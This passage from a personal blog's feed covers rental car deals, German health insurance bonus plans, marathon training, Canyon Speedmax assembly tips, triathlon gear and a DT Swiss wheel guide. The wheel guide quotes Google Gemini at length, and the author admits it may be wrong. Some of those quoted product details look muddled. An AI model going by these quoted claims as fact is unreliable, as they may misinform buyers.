&lt;p&gt;That's a story to be continued. 🫡🏃&lt;/p&gt;</content><category term="Running"></category><category term="marathon"></category><category term="running"></category></entry><entry><title>Rental Cars</title><link href="https://romainpellerin.eu/rental-cars.html" rel="alternate"></link><published>2025-04-09T09:20:00+02:00</published><updated>2025-04-09T09:20:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-04-09:/rental-cars.html</id><summary type="html">&lt;p&gt;Some tips about rental cars, how to get deals, things to know&lt;/p&gt;</summary><content type="html">&lt;p&gt;Every now and then I find myself struggling to find affordable rental cars online. So I thought a short article like this one could help my future self with some tips.&lt;/p&gt;
&lt;h1 id="companies"&gt;Companies&lt;/h1&gt;
&lt;p&gt;In my limited experience of renting cars in the USA and Europe, &lt;strong&gt;Hertz&lt;/strong&gt; oftentimes has very competitive prices. In Europe only, &lt;strong&gt;Europcar&lt;/strong&gt; or &lt;strong&gt;&lt;a href="https://www.rentacar.fr/"&gt;Rentacar&lt;/a&gt;&lt;/strong&gt; (France only) are sometimes even more competitive than Hertz. I rarely ever check other companies like Sixt, as they are usually more premium companies.&lt;/p&gt;
&lt;p&gt;It's worth noting that all rental cars companies provide roughly the same level of service. When searching for reviews on Reddit for instance, you'll find an equal number of people complaining about each of them for being "scammed" or charged for scratches or whatever. Also, each "store" is different, has different personnel, etc. So in my opinion it's pretty pointless to categorize one company as scam or another one as great, since the service you'll get will differ based on which of their stores you go to.&lt;/p&gt;
&lt;h1 id="discounts"&gt;Discounts&lt;/h1&gt;
&lt;p&gt;Most companies have rewards based on loyalty. Hertz and Europcar will give you a 10% discount or more only for creating an account, even for your first rental.&lt;/p&gt;
&lt;p&gt;Some companies will occasionnally send coupons over email or will reward you gradually over time as you book cars repeatedly. &lt;strong&gt;It's worth googling for discount codes online&lt;/strong&gt; before renting, as some of these coupons can be found on aggregators. &lt;a href="https://us.hotdeals.com/store/europcar-promo-codes"&gt;Here's one for Europcar&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="company-deals"&gt;Company deals&lt;/h1&gt;
&lt;p&gt;If your company has such deals through a portal for instance (in Germany, mitarbeiterangebote.de is a popular one), chances are that you'll find discounts for some car rental companies.&lt;/p&gt;
&lt;h1 id="better-fares-on-aggregators"&gt;Better fares on aggregators&lt;/h1&gt;
&lt;p&gt;From time to time one might get better deals on aggregators, such as &lt;a href="https://www.booking.com"&gt;booking.com&lt;/a&gt; or &lt;a href="https://www.kayak.com"&gt;kayak.com&lt;/a&gt;, as opposed to booking directly on the company website. In my experience, this happens rarely. In Germany, it's worth checking &lt;a href="https://mietwagen.check24.de/"&gt;Check24&lt;/a&gt; and &lt;a href="https://www.billiger-mietwagen.de"&gt;Billiger-Mietwagen&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="varying-prices-across-borders"&gt;Varying prices across borders&lt;/h1&gt;
&lt;p&gt;Lastly, when booking at the border between two countries, if you're flexible enough, one country might have far better prices than the other, for the same company. An example is the French-Swiss border. Hertz for instance will be a lot cheaper if booked on the French side than on the Swiss side.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="cars"></category></entry><entry><title>Healthcare Insurances In Germany</title><link href="https://romainpellerin.eu/healthcare-insurances-in-germany.html" rel="alternate"></link><published>2025-03-27T00:00:00+01:00</published><updated>2025-05-23T12:25:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-03-27:/healthcare-insurances-in-germany.html</id><summary type="html">&lt;p&gt;Some tips and useful things to know about health insurance companies in Germany&lt;/p&gt;</summary><content type="html">&lt;p&gt;Most health insurance companies in Germany offer the following things. I took me many years to discover them. Hopefully this will be useful to some.&lt;/p&gt;
&lt;h1 id="they-reward-physical-activity-and-preventive-healthcare"&gt;They reward physical activity and preventive healthcare&lt;/h1&gt;
&lt;p&gt;Most insurances offer bonus plans, through which people get "points" for being active but also by taking preventive health actions, such as going once a year to the dentist for a check-up, getting vaccinated, following online nutrition courses, etc. All it takes is "uploading" proofs of these actions (can be as simple as filling out a form with the date of the medical appointment).&lt;/p&gt;
&lt;p&gt;Regarding the "being active" part, some insurance can connect to fitness platforms like Garmin, sync your activities and give you points for doing X steps per day, cycling a few kilometers a week, etc. As an example, TK has a program called &lt;a href="https://www.tk.de/en/support-faq/faq-easy-access-to-health-care/access-doctors-and-abroad/tk-fit-frequently-asked-questions/tk-fit-en-benefits-2136732"&gt;TK-Fit&lt;/a&gt;, which is part of ther bonus plan.&lt;/p&gt;
&lt;p&gt;Once you accumulate enough points, you can either "cash them out" (get a money transfer from the insurance) or get total or partial refunds for things that are remotely health-related, such as a gym membership or a smartwatch. As an example, &lt;a href="https://www.tk.de/techniker/gesundheit-foerdern/tk-bonusprogramm/tk-gesundheitsdividende-leistungskatalog-2029142"&gt;this is what you can get a (partial or full) refund for, from TK&lt;/a&gt;.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/tk-bonusplan.png" alt="A screenshot of the TK website" /&gt;
&lt;figcaption&gt;Left: TK app with Bonus plan balance. Right: website showing 2 options to redeem the points.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;With TK, 1,000 euros = 10 euros "cashed out", or 20 euros as health dividends. Submit an invoice for a Garmin watch for instance, and get a 20-euro money transfer.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/Finanzen/comments/1ilo6sq/tkk_bonusprogramm/?tl=en"&gt;Here is some feedback from TK clients.&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="opting-out-of-premiums"&gt;Opting out of premiums&lt;/h1&gt;
&lt;p&gt;Another way of saving money is by opting out of premiums (= options) one does not need, like homeopathy. Again, &lt;a href="https://www.reddit.com/r/de/comments/17qi5id/techniker_krankenkasse_ermöglicht_optout_aus/?tl=en"&gt;here is some feedback from TK clients.&lt;/a&gt; In most cases, should one still need a type of care they opted out of, they of course would get it and the insurance would pay for most of the costs The only difference is that a part of the costs would have to be paid for by the patient, as opposed to being fully covered by the insurance.&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="berlin"></category><category term="germany"></category><category term="health"></category></entry><entry><title>Last Three Weeks Leading To The Paris Marathon</title><link href="https://romainpellerin.eu/last-three-weeks-leading-to-the-paris-marathon.html" rel="alternate"></link><published>2025-03-26T13:00:00+01:00</published><updated>2025-03-26T20:06:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-03-26:/last-three-weeks-leading-to-the-paris-marathon.html</id><summary type="html">&lt;p&gt;How I feel, what I'm doing&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here we are, final stretch. Less than 3 weeks to go now, until the Paris Marathon. I've been following a 14-week training plan using &lt;a href="https://kiprun.com/pacer/"&gt;Kiprun Pacer&lt;/a&gt;. So far so good, no injuries, no issues, I did almost all of my planned sessions. Could not be happied! I've been running consistently 5 times a week since the beginning of the year (4 sessions from the plan + 1 bonus slow run with barefoot shoes). I have progressively increased my weekly mileage week over week, peaking at 90 kms last week, with THE long run of the plan: 32 kms last Sunday.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/2025-paris-marathon-training-strava.png" alt="Screenshot from Strava" /&gt;
&lt;figcaption&gt;Mileage week over week&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;So...&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Where do I stand today? How am I feeling? What's my mindset like? Answers below. ⬇️&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;To be fair, I'm pretty tired. Both mentally and physically.&lt;/p&gt;
&lt;p&gt;Physically, I've accumulated fatigue, due to the increasingly harder sessions.&lt;/p&gt;
&lt;p&gt;The last two weeks were grueling. These were the hardest weeks of the plan, from now on it'll only get easier, as the taper phase started. Two weeks ago, I ran 21 kms at a pace of 4'25"/km (5 secs per kilometer faster than my target marathon pace). It gave me confidence but left me a bit tired.&lt;/p&gt;
&lt;p&gt;Since the beginning of the year, I have been going to the gym every Monday, lifting weights and working on my upper body. It's 100% useless for runners, and it does not help recover from my runs. So I'll ditch that until the race. Not to mention that any extra muscle mass in the upper body will only slow me down on race day.&lt;/p&gt;
&lt;p&gt;Until the race, I'll keep going swimming once a week, as it does not fatigue me, and I need to keep training for my Summer triathlon. Cycling, I'll take it easy. 40 kms of commute per week, one or two short (under 45 mins) sessions of home trainer and a very optional outdoor ride on the weekend, if the sun shines and I'm not too tired. That's all. I'll keep 5 runs a week, but they will only get shorter and shorter in distance until the race. Only the intensity will sort of remain the same.&lt;/p&gt;
&lt;p&gt;Mentally, I reached a low point last week. Things are improving since then. Weeks W-5 and W-4, on Wednesdays, I had the same sessions: 5x 4000m at target marathon pace. I partially failed them. I did not have the mental strength. My legs could run but my head could not push them hard enough. For most blocks, I was 5 to 10 seconds slower per kilometer. I explain that mostly by the fact that those sessions were very long (2 hours 15 mins), because they included a 20-min warm-up and 10-min cooldown. And they took place on a work day. Sure I was at home, working remotely. But finding the time was EXTRA tricky. And then I had to make up for it at work by working later at night. Very exhausting mentally.&lt;/p&gt;
&lt;p&gt;Besides those two sessions, I also "failed" the intervals session in week W-4 (last week). 12x (400m at MAS speed, which is 3'27"/km + 200m recovery). I ran more than half of the blocks 10 to 20 seconds slower per kilometer. That hit me pretty bad, mentally. Again, I had the legs, not the brain for it. It was on Friday, I was just out of a demanding week at work. But the 32-km long run that followed on Sunday fixed me up! I am regainging confidence now and feeling a lot better mentally, with every passing day.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/2025-paris-marathon-training-march-21-2025.png" alt="Screenshot from Garmin Connect" /&gt;
&lt;figcaption&gt;The intervals session last Friday&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Anyways, this is a summary of the past few weeks. I'm doing a lot better now, my sport schedule until race day has been adjusted, I know what I'm doing (or I like to believe I know it). I'm confident! Let's go!!!&lt;/p&gt;
&lt;p&gt;Nutrition-wise, I'll (temporarily) remove ice creams and other sweets from my diet and increase my protein intake through Whey shakers.&lt;/p&gt;
&lt;p&gt;And today's session was a massive success!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/2025-paris-marathon-training-march-26-2025.png" alt="Screenshot from Garmin Connect" /&gt;
&lt;figcaption&gt;Plan was 5x (600m pace of 3'43"/km working towards 3'38" + 200m recovery). I much prefer those shorter intervals sessions. 12 intervals last week was way too many; 5 I can do easy peasy.&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;I also wanted to mention that following the lifes of fellow marathon runners through the &lt;a href="https://www.youtube.com/@RMC-Running"&gt;RMC runnning Youtube channel&lt;/a&gt; has been a delight and a big help so far. &lt;a href="https://www.youtube.com/playlist?list=PLGTk2LDokSA9L7I43dCOsL6dLovdCl7-J"&gt;They too are training for the 2025 Paris marathon&lt;/a&gt;, and hearing their feedback and feelings every week was very relatable. This podcast also offers a ton of advice.&lt;/p&gt;
&lt;p&gt;This article will hopefully serve as a reminder for my future self: don't underestimate the last few weeks before a marathon. The beginning of the training plan may feel like a walk in the park, fatigue might go unnoticed for a while, but at some point it'll show up!&lt;/p&gt;</content><category term="Running"></category><category term="running"></category><category term="marathon"></category></entry><entry><title>Tips for Canyon Speedmax Bikes</title><link href="https://romainpellerin.eu/tips-for-canyon-speedmax-bikes.html" rel="alternate"></link><published>2025-03-24T23:00:00+01:00</published><updated>2025-07-03T17:33:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-03-24:/tips-for-canyon-speedmax-bikes.html</id><summary type="html">&lt;p&gt;Some tips for these triathlon bikes&lt;/p&gt;</summary><content type="html">&lt;p&gt;This article applies to most Speedmax bikes, but is based on the &lt;a href="https://www.canyon.com/en-de/road-bikes/triathlon-bikes/speedmax/cf/speedmax-cf-7-di2-ar1600/4304.html?dwvar_4304_pv_rahmenfarbe=R073_P06"&gt;Canyon Speedmax CF 7 Di2&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="general-tips"&gt;General tips&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The &lt;a href="https://www.canyon.com/en-de/gear/accessories/bike-tech/cockpit-and-handlebar-mounts/canyon-cockpit-mount/9102035.html"&gt;official Canyon cockpit mount for bike computers&lt;/a&gt; cannot be mounted on the Speedmax, as it needs to be screwed in two holes. The only hole present in the cockpit is for &lt;a href="https://www.canyon.com/en-de/gear/accessories/bike-accessories/cycling-water-bottle/canyon-speedmax-hydration-system/10014133.html"&gt;the hydration system&lt;/a&gt;. A bike computer mount is also already present on the hydration system. Therefore, without the hydration system installed, a generic bike computer mount can be installed on the aero bars instead:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.garmin.com/de-DE/p/107165"&gt;Time Trial/Tri Bar Mount from Garmin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bike24.com/p274637.html"&gt;ZIPP QuickView TT Computer Mount for Garmin Edge&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The small plastic part between the two screws for the bottle holder is the cable holder. It prevents the brake line from rattling inside the frame. It should be left as it is, no need to cover it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Photo of the frame" src="https://preview.redd.it/minor-tech-questions-speedmax-cf-7-v0-8o0w44yxhfgd1.jpg?width=1080&amp;amp;crop=smart&amp;amp;auto=webp&amp;amp;s=22f793fe81d21c71620f9a3f134f8abe81d961f0"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To install a bidon holder behind the saddle, there are two options:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.canyon.com/de-de/fahrradzubehoer/teile/zubehoer/flaschenhalter/canyon-speedmax-flaschenhalter-adapter-sattelstuetze/10006351.html"&gt;The expensive official one&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.etsy.com/de/listing/1479204041/adapter-fur-flaschenhalter-sattelstutze?variation0=5168534573&amp;amp;variation1=4700526648"&gt;The homemade 3D printed one&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="Image of the 3D print" src="https://i.etsystatic.com/43371114/r/il/be793e/5096605103/il_794xN.5096605103_fv9g.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The wheel tightening lever can be left permanently on one of the wheels (front one is my recommendation, if it falls you'll most likely hear it). Just push hard enough until it clicks.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The bike comes with tubes installed, not tubeless.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The 4 rubber plugs: 3 should go to the back of the seat post. One is spare, it can go underneath the handlebar in the middle, there's the hole for the hydration system that can be filled. The Canyon Support said this hole does not necessarily have to be sealed though. Canyon also suggests to use the plugs for the holes of the bottle cages, if unused.&lt;/p&gt;
&lt;p&gt;&lt;img alt="The 4 rubber plugs" src="https://romainpellerin.eu/images/canyon-speedmax/rubber-plugs.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Shimano Adjustment Gauge (made of cardboard, see photo below) for RD-D7100/R7150 RX820 is meant to set the correct distance between the rear derailleur's guide pulley and the largest cog on the cassette.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;The two wedges that say "Inner Dia. 20.5-22.5" are &lt;a href="https://si.shimano.com/de/pdfs/ev/ST-R9180-4089/EV-ST-R9180-4089A.pdf"&gt;spart parts of the DURA-ACE Dual Control Lever (ST-R9180)&lt;/a&gt;, that &lt;a href="https://www.reddit.com/r/triathlon/comments/1idyomy/brakeshift_lever_part_needed/"&gt;go between the brakes and the handlebar&lt;/a&gt;. They are of no use when assembling the bike. Canyon was not able to tell me what to use them for.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Shimanoo tools TL-EW300 and TL-EW02: they are needed to connect/disconnect Di2 cables (at the cockpit/aero bars, or at the rear derailleur). TL-EW300 for EW-SD300 wires (new generation of cables), TL-EW02 for EW-SD50 wires (old generation of cables).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Photo of the TL-EW300 tool" src="https://romainpellerin.eu/images/canyon-speedmax/tl-ew300.jpg"&gt;
  &lt;img alt="Photo of the TL-EW02 tool" src="https://romainpellerin.eu/images/canyon-speedmax/tl-ew02.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The T6 Torx screwdriver was not needed during assembly. It might be required to service the bike and change some parts, I don't know. Canyon's support was not more knowledgeable about it, they only mentioned "to tweak some small screws securing Di2 junction boxes or electronic shifting cable covers or other compatible screws".&lt;/p&gt;
&lt;p&gt;&lt;img alt="Photo of the T6 tool" src="https://romainpellerin.eu/images/canyon-speedmax/t6-tool.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The chain comes pre-greased with standard grease, no need to degrease+grease again. I asked Canyon's support about this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your bike should be ready to ride right out of the box, as Canyon typically preps the bike with the necessary lubricants and greases. However, it’s always a good idea to check the chain and drivetrain.&lt;/p&gt;
&lt;p&gt;If the chain feels overly greasy or has excess lubrication on it, you can wipe it down with a clean cloth, but there should be no need to degrease and re-grease unless you want to ensure it's in perfect condition.&lt;/p&gt;
&lt;p&gt;As long as you haven’t encountered any issues with shifting or the bike seems properly set up, you're good to go! Always double-check the brakes, tire pressure, and overall setup before riding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The Di2 battery is located inside the down tube, it's attached to the frame through 2 screws under the down tube that should not be tightened more than 1 Nm. The battery can supposedly (I have not tried myself) but removed/accessed after removing a plastic cover that is under the bike, under the bottom bracket.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If you ever lose an o-ring (rubber seal) and can't find where it came from, it might be the ones that are positioned between the bento box and the top tube, around the two screws that link the two.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Photo of o-ring" src="https://romainpellerin.eu/images/canyon-speedmax/o-ring.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://www.reddit.com/r/CanyonBikes/comments/1ej0e6m/minor_tech_questions_speedmax_cf_7/"&gt;Reddit source for some of these questions&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="maximum-torque-recommendations"&gt;Maximum torque recommendations&lt;/h1&gt;
&lt;p&gt;Although the max torque values if often written on the components, here is a value that is not:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The maximal torque for the 4 bolts that attach the handlebar to the Profile Design aerobars: 5 Nm max if M5 Diameter, 8 Nm if M6 Diameter (as I was told by the Canyon support)&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="cycling"></category></entry><entry><title>Training For Triathlons</title><link href="https://romainpellerin.eu/training-for-triathlons.html" rel="alternate"></link><published>2025-03-01T21:33:00+01:00</published><updated>2025-03-01T21:33:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-03-01:/training-for-triathlons.html</id><summary type="html">&lt;p&gt;Everything one needs to set up a home trainer&lt;/p&gt;</summary><content type="html">&lt;p&gt;2025 is the year I'll do my first half Ironman! Big year. Big ambition.&lt;/p&gt;
&lt;p&gt;Up until now, the longest triathlon I ever participated in was &lt;a href="https://www.berlin-triathlon.de/"&gt;a sprint-distance one in Berlin&lt;/a&gt;, in the last 2 years. Needless to say, I'm still a total noob about triathlon.&lt;/p&gt;
&lt;p&gt;So I need to learn fast and train hard!&lt;/p&gt;
&lt;p&gt;This article acts as my shopping list but also my diary, as I learn new things about triathlon. This article will serve anyone else with similar intentions. I'll keep updating this article over the next few months.&lt;/p&gt;
&lt;h1 id="tri-bike-vs-road-bike-with-aero-bars"&gt;Tri bike vs road bike with aero bars&lt;/h1&gt;
&lt;p&gt;I've had aero bars on my road bike since last Summer. I bought them when I signed up for the Ironman. Initially, I was not planning on buying a tri bike. I simply wanted to adapt my road bike to a triathlon bike. Below are 3 of the best videos I found on the topic.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/vXtWrvSdvfc" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/qSgK-5kC2KM" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/-OjxK7dbT9I" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;But now, as I am writing these lines, I am leaning towards buying a tri bike. Nothing is decided yet at this point, but I'm seriously considering it.&lt;/p&gt;
&lt;h1 id="gear-for-training"&gt;Gear for training&lt;/h1&gt;
&lt;p&gt;For this first half Ironman, I need to increase my weekly volume of cycling. Especially in winter, when the days are short and often rainy. I've used that excuse way too many times to remain indoors. So here is my shopping list, to bring my training to the next level:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.bike24.com/p2287842.html"&gt;Wahoo Kickr Core&lt;/a&gt;: 489.99 euros.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.canyon.com/en-de/road-bikes/triathlon-bikes/speedmax/cf/speedmax-cf-7-di2-ar1600/4304.html?dwvar_4304_pv_rahmenfarbe=R073_P06"&gt;A tri bike&lt;/a&gt;: 3,999 euros. For races. And when not racing, for the home trainer. Still undecided about that...&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bike24.com/p2759128.html"&gt;The same cassette as the one on the tri bike&lt;/a&gt;: 49.99 euros. To put on the Wahoo Kickr Core.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.decathlon.de/p/fahrradschutz-rollentrainer/_/R-p-1022"&gt;A sweat net&lt;/a&gt;: 12.99 euros.&lt;/li&gt;
&lt;li&gt;A subscription to Swift (paid) or MyWhoosh (free)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="inexpensive-things-you-might-already-have-at-home"&gt;Inexpensive things you might already have at home&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A yoga mat to put under the home trainer, so as to avoid noise and sweat stains on the floor&lt;/li&gt;
&lt;li&gt;A fan&lt;/li&gt;
&lt;li&gt;A small towel&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="bike"></category><category term="running"></category><category term="swimming"></category></entry><entry><title>DT Swiss wheels: buying guide</title><link href="https://romainpellerin.eu/dt-swiss-wheels-buying-guide.html" rel="alternate"></link><published>2025-03-01T01:14:00+01:00</published><updated>2025-03-01T01:14:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2025-03-01:/dt-swiss-wheels-buying-guide.html</id><summary type="html">&lt;p&gt;Everything I know about DT Swiss wheels in 2025&lt;/p&gt;</summary><content type="html">&lt;p&gt;I've had my bike for 5 years now, with the same factory wheels: a pair of Mavic Aksium. They are fairly good wheels, but they're entry-level and I've decided it was time for an upgrade.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/o6_r-LdFUmQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;For some reason, I've set my mind on DT Swiss. Don't ask why 😁. Also, I'm not yet ready for carbon wheels. They're pricey and they do not work well with rim brakes (which I use), especially in the wet.&lt;/p&gt;
&lt;p&gt;I want wheels with a rim depth that is both suitable for flat terrain and mountains. In a few years, I might invest in wheels for flat/triathlon/time trial only (50mm+).&lt;/p&gt;
&lt;p&gt;So here's my 2025 buying guide for DT Swiss wheels. Spoiler alert: I'm lazy, I've used Google Gemini a LOT, so some information might be incorrect.&lt;/p&gt;
&lt;h1 id="lines-of-wheels-for-road-bikes"&gt;Lines of wheels for road bikes&lt;/h1&gt;
&lt;p&gt;First things first, each model starts with a line name, and then contains a number. Like, "ARC 1100 DICUT".&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lower numbers typically signify higher-end wheels with premium components (like higher end hubs).&lt;/p&gt;
&lt;p&gt;[source: Google Gemini]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, the lines. They are essentially three of interest to me: &lt;strong&gt;Aero&lt;/strong&gt;, &lt;strong&gt;Performance&lt;/strong&gt; and &lt;strong&gt;Endurance&lt;/strong&gt;. The rest is for gravel, track, cross road or ebikes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Aero&lt;/strong&gt; (&lt;strong&gt;ARC/AR/A&lt;/strong&gt;) is out of my league: they're almost all carbon (in &lt;em&gt;ARC&lt;/em&gt;, &lt;em&gt;C&lt;/em&gt; stands for &lt;em&gt;Carbon&lt;/em&gt;), except the &lt;a href="https://www.dtswiss.com/en/wheels/wheels-road/aero/ar-1600-spline"&gt;AR 1600 SPLINE&lt;/a&gt; and the &lt;a href="https://www.dtswiss.com/en/wheels/wheels-road/aero/a-1800-spline"&gt;A 1800 SPLINE&lt;/a&gt;. But they're both entry-level wheels, and for disc brakes. And even if I was considering the other carbon wheels for rim brakes, they are too expensive for me at this point. I don't want to spend more than 1,000 euros for the pair.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Performance&lt;/strong&gt; (&lt;strong&gt;PRC/PR/P&lt;/strong&gt;): this is the one that I'm the most interested in. Here, they're all made of aluminum, expect the "PRC 1400 SPLINE" wheelset. The 1600 and 1800 ones are considered entry-level, so all that's left of interest to me are the "PR 1400 DICUT OXiC". They come in 2 variants: 32mm rim height, or 21. I'd go with 32.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Endurance&lt;/strong&gt; (&lt;strong&gt;ERC/ER/E&lt;/strong&gt;): those are only for disc brakes. Also, they prioritize comfort, stability, and durability on long rides and are compatible with wider tires, unlike the performance line. As a result, they're usually heavier than the performance ones. Not what I'm looking for.&lt;/p&gt;
&lt;h1 id="additional-indicators"&gt;Additional Indicators&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;"C" indicates a carbon rim (like in "ARC 1100 DICUT")&lt;/li&gt;
&lt;li&gt;"OXiC" indicates a ceramic rim braking surface, see below&lt;/li&gt;
&lt;li&gt;"DB" indicates disc brake compatibility (like in "ARC 1100 DICUT DB")&lt;/li&gt;
&lt;li&gt;DICUT/SPLINE indicates specific wheel technologies and spoke types, see below&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="oxic"&gt;OXiC&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;OXiC is a special ceramic coating that DT Swiss applies to the rims of some of their wheels. It's not just for looks (though it does give a cool matte black finish!) - it has some serious performance benefits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Super Braking Power:&lt;/strong&gt; OXiC makes rim brakes work incredibly well, even when the rims are wet. This means you get consistent and reliable stopping power in all kinds of weather.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tough as Nails:&lt;/strong&gt; The ceramic coating is really hard, so it resists wear and tear much better than a regular aluminum rim. This makes the wheels last longer.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Think of it like a super-durable, high-performance brake pad for your rims. It's a technology that makes DT Swiss wheels with rim brakes perform better and last longer.&lt;/p&gt;
&lt;p&gt;You'll usually see OXiC on their higher-end aluminum wheels, like the PR 1400 DICUT OXiC series.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Do I need special brake pads for OXiC wheels?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Yes, you absolutely need special brake pads for DT Swiss wheels with the OXiC ceramic coating. Standard brake pads designed for regular aluminum rims will wear down the OXiC coating prematurely and won't provide optimal braking performance.&lt;/p&gt;
&lt;p&gt;DT Swiss recommends using brake pads specifically designed for ceramic coated rims. These pads are made from a softer compound that's gentler on the OXiC coating while still providing excellent braking power. Using the correct brake pads is crucial for maximizing the lifespan of your OXiC wheels and ensuring safe, reliable braking.&lt;/p&gt;
&lt;p&gt;[source: Google Gemini]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href="https://www.dtswiss.com/en/wheels/wheels-technology/oxic-technology"&gt;Here is some additional information from DT Swiss themselves.&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="splinespline"&gt;SPLINE/SPLINE&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;SPLINE:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This refers to a system-wide approach to wheel design. It emphasizes the integration of all wheel components (rims, hubs, spokes) for optimized performance.&lt;/li&gt;
&lt;li&gt;SPLINE wheels are designed for a broad range of cycling disciplines, prioritizing a balance of performance, reliability, and durability.&lt;/li&gt;
&lt;li&gt;It signifies the use of DT Swiss's engineering principles and technologies across various wheel levels.&lt;/li&gt;
&lt;li&gt;It uses standard straight pull spokes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;DICUT:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This designates DT Swiss's high-end, performance-oriented wheel line.&lt;/li&gt;
&lt;li&gt;DICUT wheels are specifically engineered for maximum aerodynamic efficiency and performance.&lt;/li&gt;
